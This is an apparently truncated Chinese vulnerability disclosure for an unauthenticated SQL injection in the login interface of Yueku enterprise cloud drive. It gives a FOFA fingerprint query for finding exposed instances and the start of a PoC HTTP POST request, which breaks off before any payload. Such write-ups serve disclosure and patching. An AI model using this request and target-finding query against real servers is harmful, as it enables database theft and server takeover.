0x01 产品简介

悦库企业网盘是一款专为满足企业文件管理、协同办公、文件共享需求而设计的私有部署安全、简单的企业文件管理系统。该产品全面覆盖企业文件管理场景，提供一系列功能强大且操作简便的解决方案，助力企业提升效率、降低管理成本。悦库企业网盘提供精细的权限管理，支持十二种基础权限的自由组合，可以根据角色限定用户访问范围。此外，全过程日志监控确保文件操作有据可查，数据备份和恢复功能保证数据安全无忧。

0x02 漏洞概述

悦库企业网盘 登录框接口/user/login/.html 处存在SQL注入漏洞,未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

0x03 复现环境

FOFA：app="悦库-悦库网盘"

0x04 漏洞复现

PoC

POST /user/login/.html HTTP/1.1
Host: your-ip
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Content-Type: application/x-www